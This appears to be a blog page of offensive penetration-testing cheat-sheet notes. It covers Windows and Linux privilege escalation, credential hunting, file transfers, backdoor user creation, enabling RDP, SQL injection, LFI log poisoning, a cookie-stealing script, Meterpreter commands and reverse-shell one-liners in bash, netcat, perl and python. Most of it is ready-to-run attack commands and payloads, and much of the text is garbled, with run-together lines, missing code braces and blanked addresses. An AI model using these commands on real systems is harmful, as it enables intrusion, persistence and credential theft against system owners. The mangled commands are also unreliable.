search instagram arrow-down








1.Various Tricks

Upgrading simple shells to fully interactive TTYs

Temporary Web Server

python -m SimpleHTTPServerpython3 -m http.serverruby -rwebrick -e “ => 8888, :DocumentRoot => Dir.pwd).start”php -S

Use Nmap to remotely execute commands through SQL

nmap -Pn -n -sS –script=ms-sql-xp-cmdshell.nse <victim_ip> -p1433 –script-args mssql.username=sa,mssql.password=<sql_password>,ms-sql-xp-cmdshell.cmd=”net user backdoor backdoor123 /add”nmap -Pn -n -sS –script=ms-sql-xp-cmdshell.nse -p1433 –script-args mssql.username=<sql_user>,mssql.password=<sql_password>,ms-sql-xp-cmdshell.cmd=”net localgroup administrators backdoor /add”

Make browser appear as a search engine
Use curl (serch engine agents: googlebot, slurp, msnbot…)

curl -A “‘Mozilla/5.0 (compatible; Googlebot/2.1; +’)” ‘http://<victim_ip>/robots.txt&#8217;

Change headers of a http request using curl
Example: check for shellshock vulnerability: (PoC: ‘() { :; }; echo “CVE-2014-6271 vulnerable”’ bash -c id )

curl -H ‘User-Agent: () { :; }; echo “CVE-2014-6271 vulnerable” bash -c id’

Execute process as another user (with credentials)

  1. Create a ps1 file e.g. run.ps1 with powershell commands as below:

secpasswd = ConvertTo-SecureString “<admin_pass_clear_text>” -AsPlainText -Force

$mycreds = New-Object System.Management.Automation.PSCredential (“<Admin_username>”, $secpasswd)

$computer = “<COMPUTER_NAME>”

[System.Diagnostics.Process]::Start(“C:/users/public/<reverse_shell.exe>”,””, $mycreds.Username, mycreds.Password, $computer)

  1. Upload run.ps1 to victim’s machine
  2. Execute powershell command:

powershell -ExecutionPolicy Bypass -File c:\users\public\run.ps1

Get a root shell from MySQL

Gaining a Root shell using MySQL User Defined Functions and SETUID Binaries

Setuid binary for root shell

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

int main(void)


setuid(0); setgid(0); system(“/bin/bash”);



#include <stdio.h>

#include <unistd.h>





printf(“You are root”);


gcc -o rootme rootme.c

chown root:root && chmod 4777 /var/tmp/rootme


cp /bin/sh /tmp/root_shell; chmod a+s /tmp/root_shell;

/tmp/root_shell -p

Leverage xp_cmdshell to get a shell

sqsh -S <ip_address> -U sa -P <password>

exec sp_configure ‘show advanced options’, 1




exec sp_configure ‘xp_cmdshell’, 1




xp_cmdshell ‘dir C:\’


Bypassing white-listing

Create small shellcode

msfvenom -p windows/shell_reverse_tcp -a x86 -f python –platform windows LHOST=<ip> LPORT=443 -b “\x00” EXITFUNC=thread –smallest -e x86/fnstenv_mov


Use datasploit as a Recon framework

Run web scanners

dirb http{s}://<ip_address>:<port> /usr/share/wordlist/dirb/{common/small/vulns}.txt gobuster -u -w /usr/share/seclists/Discovery/Web_Content/common.txt -s ‘200,204,301,302,307,403,500’ -egobuster -u -w /usr/share/seclists/Discovery/Web_Content/cgis.txt -s ‘200,204,301,302,307,403,500’ -egobuster -u -w /usr/share/seclists/Discovery/Web_Content/cgis.txt -s ‘200,204,403,500’ -e nikto -port {web ports} -host <ip_address> -o <output file.txt>

Use /usr/share/seclists/Discovery for some good word lists

Check for SMB vulnerabilities
We don’t want to run smb-brute or smb-flood because they might lock out accounts or cause a DoS to the services

nmap -p139,445 -T4 -oN smb_vulns.txt -Pn –script not brute and not dos and smb-* -vv -d

3.Window Privilege Escalation

Information Gathering

What system are we connected to?

systeminfo | findstr /B /C:”OS Name” /C:”OS Version”

Get the hostname and username (if available)

hostnameecho %username%

Learn about your environment

SETecho %PATH%

List other users on the box

net usersnet user <username>

Networking/Routing Info

ipconfig /allroute printarp -A

Active Network Connections

netstat -ano

Firewall Status (only on Win XP SP2 and above)

netsh firewall show statenetsh firewall show confignetsh advfirewall firewall show rule all

Scheduled tasks

schtasks /query /fo LIST /v

Check how Running processes link to started services

tasklist /SVC

Windows services that are started:

net start

Driver madness (3rd party drivers may have holes)


Check systeminfo output against exploit-suggester -d 2017-05-27-mssb.xls -i systeminfo.txt

Run windows-privesc script


Windows Management Instrumentation Command Line
Windows XP requires admin

Use wmic_info.bat script for automation

System Info

wmic COMPUTERSYSTEM get TotalPhysicalMemory,captionwmic CPU Get /Format:List

Check patch level

wmic qfe get Caption,Description,HotFixID,InstalledOn

  1. Look for privilege escalation exploits and look up their respective KB patch numbers. Such exploits include, but are not limited to, KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799)
  2. After enumerating the OS version and Service Pack you should find out which privilege escalation vulnerabilities could be present. Using the KB patch numbers you can grep the installed patches to see if any are missing
  3. Search patches for given patch

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:”KB..” /C:”KB..”


Windows 2K SP4 – Windows 7 (x86): KiTrap0D (KB979682)

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:”KB979682″

Windows Vista/2008 6.1.6000 x32,Windows Vista/2008 6.1.6001 x32,Windows 7 6.2.7600 x32,Windows 7/2008 R2 6.2.7600 x64. (no good exploit – unlikely Microsoft Windows Vista/7 – Elevation of Privileges (UAC Bypass))

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:”KB2393802″

Stored Credentials

  1. Directories that contain the configuration files (however better check the entire filesystem). These files either contain clear-text passwords or in a Base64 encoded format.
  2. C:\sysprep.inf3. C:\sysprep\sysprep.xml4.  %WINDIR%\Panther\Unattend\Unattended.xml



When the box is connected to a Domain:

  1. Look for Groups.xml in SYSVOL
    GPO preferences can be used to create local users on domain. So passwords might be stored there. Any authenticated user will have read access to this file. The passwords is encryptes with AES. But the static key is published on the msdn website. Thus it can be decrypted.
  2. Search for other policy preference files that can have the optional “cPassword” attribute set:

Services\Services.xml: Element-Specific AttributesScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner ElementPrinters\Printers.xml: SharedPrinter ElementDrives\Drives.xml: Element-Specific AttributesDataSources\DataSources.xml: Element-Specific Attributes


Automated Tools

  1. Metasploit Module


  1. Powersploit

4 Search filesystem:

  1. Search for specific keywords:

dir /s *pass* == *cred* == *vnc* == *.config*

  1. Search certain file types for a keyword

findstr /si password *.xml *.ini *.txt

  1. Search for certain files

dir /b /s unattend.xml

dir /b /s web.config

dir /b /s sysprep.inf

dir /b /s sysprep.xml

dir /b /s *pass*

dir /b /s vnc.ini

  1. Grep the registry for keywords (e.g. “passwords”)

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon”

reg query “HKLM\SYSTEM\Current\ControlSet\Services\SNMP”

reg query “HKCU\Software\SimonTatham\PuTTY\Sessions”

reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

  1. Find writeable files
  2. dir /a-r-d /s /b
  3.         /a is to search for attributes. In this case r is read only and d is directory. The minus signs negate those attributes. So we’re looking for writable files only.
  4.         /s means recurse subdirectories

III.        /b means bare format. Path and filename only.

Trusted Service Paths

1.List all unquoted service paths (minus built-in Windows services) on our compromised machine:

wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\\” |findstr /i /v “””

Suppose we found:

C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe

If you look at the registry entry for this service with Regedit you can see the ImagePath value is:

C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe

To be secure it should be like this:

“C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe”

When Windows attempts to run this service, it will look at the following paths in order and will run the first EXE that it will find:

C:\Program.exeC:\Program Files.exeC:\Program Files(x86)\Program Folder\A.exe…

  1. Check permissions of folder path

icacls “C:\Program Files (x86)\Program Folder”

  1. If we can write in the path we plant a backdoor with the same name with the service and restart the service.

Metasploit module:


Vulnerable Services

Search for services that have a binary path (binpath) property which can be modified by non-Admin users – in that case change the binpath to execute a command of your own.

Note: Windows XP shipped with several vulnerable built-in services.

Use accesschk from SysInternals to search for these vulnerable services.

For Windows XP, version 5.2 of accesschk is needed: -uwcqv “Authenticated Users” * /accepteulaaccesschk.exe -qdws “Authenticated Users” C:\Windows\ /accepteulaaccesschk.exe -qdws Users C:\Windows\

Then query the service using Windows sc:

sc qc <vulnerable service name>

Then change the binpath to execute your own commands (restart of the service will most likely be needed):

sc config <vuln-service> binpath= “net user backdoor backdoor123 /add” sc stop <vuln-service>sc start <vuln-service>sc config <vuln-service> binpath= “net localgroup Administrators backdoor /add” sc stop <vuln-service>sc start <vuln-service>

Note – Might need to use the depend attribute explicitly:

sc stop <vuln-service>sc config <vuln-service> binPath= “c:\inetpub\wwwroot\runmsf.exe” depend= “” start= demand obj= “.\LocalSystem” password= “”sc start <vuln-service>

Metasploit module:



AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.

Check if these 2 registry values are set to “1”:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If they are, create your own malicious msi:

msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi

Then use msiexec on victim to execute your msi:

msiexec /quiet /qn /i C:\evil.msi

Metasploit module:


Bypassing AV

  • Use Veil-Evasion
  • Create your own executable by “compiling” PowerShell scripts
  • Use Metasploit to substitute custom EXE and MSI binaries. You can set EXE::Custom or MSI::Custom to point to your binary prior to executing the module.

Getting GUI

Using meterpreter, inject vnc session:

run post/windows/manage/payload_inject payload=windows/vncinject/reverse_tcp lhost=<yourip> options=viewonly=false

Enable RDP:

netsh firewall set service RemoteDesktop enablereg add “HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /freg add “hklm\system\currentControlSet\Control\Terminal Server” /v “AllowTSConnections” /t REG_DWORD /d 0x1 /f

sc config TermService start= autonet start Termservicenetsh.exefirewalladd portopening TCP 3389 “Remote Desktop”


netsh.exe advfirewall firewall add rule name=”Remote Desktop – User Mode (TCP-In)” dir=in action=allow program=”%%SystemRoot%%\system32\svchost.exe” service=”TermService” description=”Inbound rule for the Remote Desktop service to allow RDP traffic. [TCP 3389] added by LogicDaemon’s script” enable=yes profile=private,domain localport=3389 protocol=tcpnetsh.exe advfirewall firewall add rule name=”Remote Desktop – User Mode (UDP-In)” dir=in action=allow program=”%%SystemRoot%%\system32\svchost.exe” service=”TermService” description=”Inbound rule for the Remote Desktop service to allow RDP traffic. [UDP 3389] added by LogicDaemon’s script” enable=yes profile=private,domain localport=3389 protocol=udp

OR (meterpreter)

run post/windows/manage/enable_rdp

Python exploits

Compiling Python Exploits for Windows on Linux

  1. install pyinstaller of windows with wine on Kali and then

wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe –onefile

  1. run `pyinstaller` located under the same directory as Python scripts

wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe –onefile

  1. Execute with wine

wine ~/.wine/drive_c/dist/HelloWorld.exe

File Transfers

limit commands on shell to be non-interactive


Windows XP and Win 2003 contain tftp client. Windows 7 do not by default

tfpt clients are usually non-interactive, so they could work through an obtained shell

atftpd –daemon –port 69 /tftpWindows> tftp -i GET nc.exe


Windows contain FTP client but they are usually interactive

Solution: scripted parameters in ftp client: ftp -s


echo open 21> ftp.txtecho USER username password >> ftp.txtecho bin >> ftp.txtecho GET evil.exe >> ftp.txtecho bye >> ftp.txtftp -s:ftp.txt


wget-vbs script echo trick again, copy paste the commands in the shell

echo strUrl = WScript.Arguments.Item(0) > wget.vbsecho StrFile = WScript.Arguments.Item(1) >> wget.vbsecho Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbsecho Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbsecho Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbsecho Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbsecho Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbsecho Err.Clear >> wget.vbsecho Set http = Nothing >> wget.vbsecho Set http = CreateObject(“WinHttp.WinHttpRequest.5.1”) >> wget.vbs

echo If http Is Nothing Then Set http = CreateObject(“WinHttp.WinHttpRequest”) >> wget.vbsecho If http Is Nothing Then Set http = CreateObject(“MSXML2.ServerXMLHTTP”) >> wget.vbsecho If http Is Nothing Then Set http = CreateObject(“Microsoft.XMLHTTP”) >> wget.vbsecho http.Open “GET”,strURL,False >> wget.vbsecho http.Send >> wget.vbsecho varByteArray = http.ResponseBody >> wget.vbsecho Set http = Nothing >> wget.vbsecho Set fs = CreateObject(“Scripting.FileSystemObject”) >> wget.vbsecho Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbsecho strData = “” >> wget.vbsecho strBuffer = “” >> wget.vbsecho For lngCounter = 0 to UBound(varByteArray) >> wget.vbsecho ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbsecho Next >> wget.vbsecho ts.Close >> wget.vbs

cscript wget.vbs test.txt


echo $storageDir = $pwd > wget.ps1echo $webclient = New-Object System.Net.WebClient >>wget.ps1echo $url = “; >>wget.ps1echo $file = “powerup.ps1” >>wget.ps1echo $webclient.DownloadFile($url,$file) >>wget.ps1powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1


On kali linux install wsgidav and cheroot

pip install wsgidav cheroot

Start the wsgidav on a restricted folder:

mkdir /tmp/webdav_folderwsgidav –host= –port=80 –root=/tmp/webdav_folder

On Windows mount this folder using net use:

net use * http://YOUR_IP_ADDRESS/



bitsadmin /transfer n http://domain/file c:%homepath%file


First use upx or similar to compress the executable:

upx -9 nc.exe

Then use exe2bat to convert the executable into a series of echo commands that are meant to be copied pasted in the remote system:

wine exe2bat.exe nc.exe nc.txt

Then copy paste each command from nc.txt in the remote system. The commands will gradually rebuild the executable in the target machine.


certutil.exe -URL  will fetch ANY file and download it here: C:\Users\subTee\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content


4.Window Post Exploitation

Backdoor User

net user backdoor backdoor123 /addnet localgroup administrators backdoor /addnet localgroup “Remote Desktop Users” backdoor /add

Enabling RDP

netsh firewall set service RemoteDesktop enable

reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /freg add “hklm\system\currentControlSet\Control\Terminal Server” /v “AllowTSConnections” /t REG_DWORD /d 0x1 /f

sc config TermService start= autonet start Termservicenetsh.exefirewalladd portopening TCP 3389 “Remote Desktop”


netsh.exe advfirewall firewall add rule name=”Remote Desktop – User Mode (TCP-In)” dir=in action=allow program=”%%SystemRoot%%\system32\svchost.exe” service=”TermService” description=”Inbound rule for the Remote Desktop service to allow RDP traffic. [TCP 3389] added by LogicDaemon’s script” enable=yes profile=private,domain localport=3389 protocol=tcp

etsh.exe advfirewall firewall add rule name=”Remote Desktop – User Mode (UDP-In)” dir=in action=allow program=”%%SystemRoot%%\system32\svchost.exe” service=”TermService” description=”Inbound rule for the Remote Desktop service to allow RDP traffic. [UDP 3389] added by LogicDaemon’s script” enable=yes profile=private,domain localport=3389 protocol=udp

OR (meterpreter)

run post/windows/manage/enable_rdp

Dumping Credentials

in order to prevent the “clear-text” password from being placed in LSASS, the following registry key needs to be set to “0” (Digest Disabled):

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)

This registry key is worth monitoring in your environment since an attacker may wish to set it to 1 to enable Digest password support which forces “clear-text” passwords to be placed in LSASS on any version of Windows from Windows 7/2008R2 up to Windows 10/2012R2. Windows 8.1/2012 R2 and newer do not have a “UseLogonCredential” DWORD value, so it would have to be created. The existence of this key on these systems may indicate a problem.

Remote Commands

winexe –user=backdoor%laKK195@19z  // ipconfigwinexe –user=backdoor%laKK195@19z –system // cmd


psexec (from Windows)


nmap -sU -sS –script smb-psexec.nse –script-args=smbuser=<username>,smbpass=<password>[,config=<config>] -p U:137,T:139 <host>

5.Linux Privilege Escalation

Information Gathering

Get OS information

cat /etc/issuecat /etc/*-releasecat /proc/versionuname -arpm -q kerneldmesg | grep Linuxls /boot | grep vmlinuz-lsb_release -a

Check sudoers

sudo -l cat /etc/sudoers

Check password files
Check for misconfigurations – i.e Is shadow readable? Is passwd writeable?

cat /etc/passwdcat /etc/shadowls -l /etc/passwdls -l /etc/shadow

Learn your environment
Search for misconfigured PATH variables. Do they prioritize searching for executable files from a non-secure (i.e. world-writeable) path?

cat /etc/profilecat /etc/bashrccat ~/.bash_profilecat ~/.bashrccat ~/.bash_logoutcat ~/.bash_historyenvset

Check history files
You might find plaintext passwords in there

cat ~/.*_history

Check cronjobs
Search for jobs using programs that run with root privileges and are potentially write-accessible by low-privileged users

crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root

Check processes running as root for vulnerabilities

ps aux | grep rootps -ef | grep root

Search files for plaintext credentials

grep -ir user *grep -ir pass *

Find writable configuration files

find /etc/ -writable -type f 2>/dev/null

Run privesc scripts

LinEnum –

Escaping jail shells

python -c ‘import pty;pty.spawn(“/bin/bash”)’ echo os.system(‘/bin/bash’)/bin/sh -i


6.Linux Post Exploitation

Backdooring Linux

Adding a backdoor user (super visible to sysadmin)

Adding users

/usr/sbin/adduser backdoorpasswd backdoorecho “backdoor ALL=(ALL) ALL” >> /etc/sudoers

Plant a rootkit (might make system unstable)

Userland rootkits

  • + more stable
  • + more likely to remain planted after system updates
  • – more visible
  • – less control

Kernel rootkits

  • + less visible
  • + complete control
  • – more unstable
  • – more likely to cause problems with system updates


7.Web Applications


Try reading the php source code of the web application:


Do you see any LFI/RFI vulnerability posted by Nikto? Try

fimap -u <ip-address>

Check for Input Validation in forms:

1′ or 1=1 limit 1;#   AND   1′ or 1=1–)

Stealing Cookies Image().src=””+document.cookie;

File Inclusion Vulnerabilities

php.ini values:

register_globalsallow_url allow_url_fopenallow_url_include

terminate our request with a null byte () (possible in php below 5.3)

For LFI/RFI attacks, this might be useful:

Contaminating Log Files

contaminate log file to cause them to contain PHP code to be later used in LFI attack

nv -nv 80<?php echo shell_exec($_GET[‘cmd’]);?>

thus, cmd= is introduced into the php execution and now by including the logfile you can execute any command

SQL Injection

Classic Authentication Bypass

select * from users where name =’any’ or 1=1;#’ select * from users where name =’any’ or 1=1 limit 1;#’

Error Based Enum

order by

union all operator → allows us to add our own select queries to the original but the new select needs to have the same number of columns as the original columns statement

union all select 1,2,3,4,5,6union all select 1,2,3,4,@@version,6union all select 1,2,3,4,user(),6union all select 1,2,3,4,table_name,6 FROM information_schema.tablesunion all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name=’users’union select 1,2,name,4,password,6 FROM users

OR union select 1,2,3,4,concat(name,0x3a,password),6 FROM users

Blind SQL Injection

and 1=1;#and 1=2;#

if they have different results then it is an indication of possible injection spot

use time as a test parameter for query

sleep(5)select IF(MID(@@version,1,1) = ‘5’, SLEEP(5), 0);union all select 1,2,3,4,load_file(“c:/windows/system32/drivers/etc/hosts”),6 union all select 1,2,3,4,”<?php echo shell_exec($_GET[‘cmd’]);?>”,6 into OUTFILE ‘c:/xampp/htdocs/backdoor.php’


sqlmap -u –crawl=1sqlmap -u –dbms=mysql –dump –threads=5sqlmap -u –dbms=mysql –os-shell

Modify HTTP Headers

Install addon “Modify Headers”

In some cases, to look like you have a different IP, you can change the value of the X-Forwarded-For

  1. Meterpreter

Basic Commands

sysinfogetpidgetuidps  ps -S notepad.exe kill <pid>ipconfigroutemigrate <PID>getsystemgetprivsuse privhashdumpshellbackground

File System Commands

lspwdcddel <file>cat <file>edit <file>upload <src_file> <dst_file>download <src_file> <dst_file>getwdgetlwd

Port Forwarding

We have compromised victim1 with meterpreter session_id. Background meterpreter and add the route below. It will redirect all traffic for the above victim2_subnet through victim1.

route add <victim2 subnet> <netmask> <session_id> route -hroute listroute delete <victim2_subnet> <netmask> <session+id>

Forwards traffic from port l on Kali(localhost) to port p of Target2 through the compromised Target1

portfwdportfwd add -l 1111 -p 2222 -r Target2portfwd remove -l 1111 -p 2222 -r Target2

Execute Processes

Execute cmd.exe and interact with it

execute -f cmd.exe -i

Execute cmd.exe with all available tokens

execute -f cmd.exe -i -t

Execute cmd.exe with all available tokens and make it a hidden process

execute -f cmd.exe -i -H -t

  1. H Create the process hidden from view
  2. a Arguments to pass to the command
  3. i Interact with the process after creating it
  4. m Execute from memory
  5. t Execute process with currently impersonated thread token

Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory

run <scriptname>


Interact, create, delete, query, set, and much more in the target’s registry

reg <Command> [OPTIONS]


enumkey ->Enumerate the supplied registry keycreatekey / deletekey   ->  Creates/deletes the supplied registry keysetval / queryval       ->  Set/query values from the supplied registry keyOptions:   -d  ->  Data to store in the registry value   -k  ->  The registry key   -v  ->  The registry value name


use incognitolist_tokens -ulist_tokens -gimpersonate_token DOMAIN_NAME\\USERNAMEsteal_token PIDdrop_tokenrev2self


use sniffersniffer_interfacessniffer_dump interfaceID pcapnamesniffer_start interfaceID packet-buffersniffer_stats interfaceIDsniffer_stop interfaceID

Post Exploitation

add_user username password -h ipadd_group_user “Domain Admins” username -h ipclearavtimestompscreenshotkeyscan_startkeyscan_dumpkeyscan_stopuictl enable keyboard/mousesetdesktop numberrebootrun post/windows/manager/enable_rdp

Run msfmap

Download it from msfmapmsfmap



bash -i >& /dev/tcp/ 0>&1rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/fperl -e ‘use Socket;$i=”″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“”,80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[“/bin/sh”,”-i”]);’

always check for nc, nc.traditional or netcat, or ncat with the full path if plain nc doesn’t work!



    • — Share It —


Leave a Reply
Your email address will not be published. Required fields are marked *

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: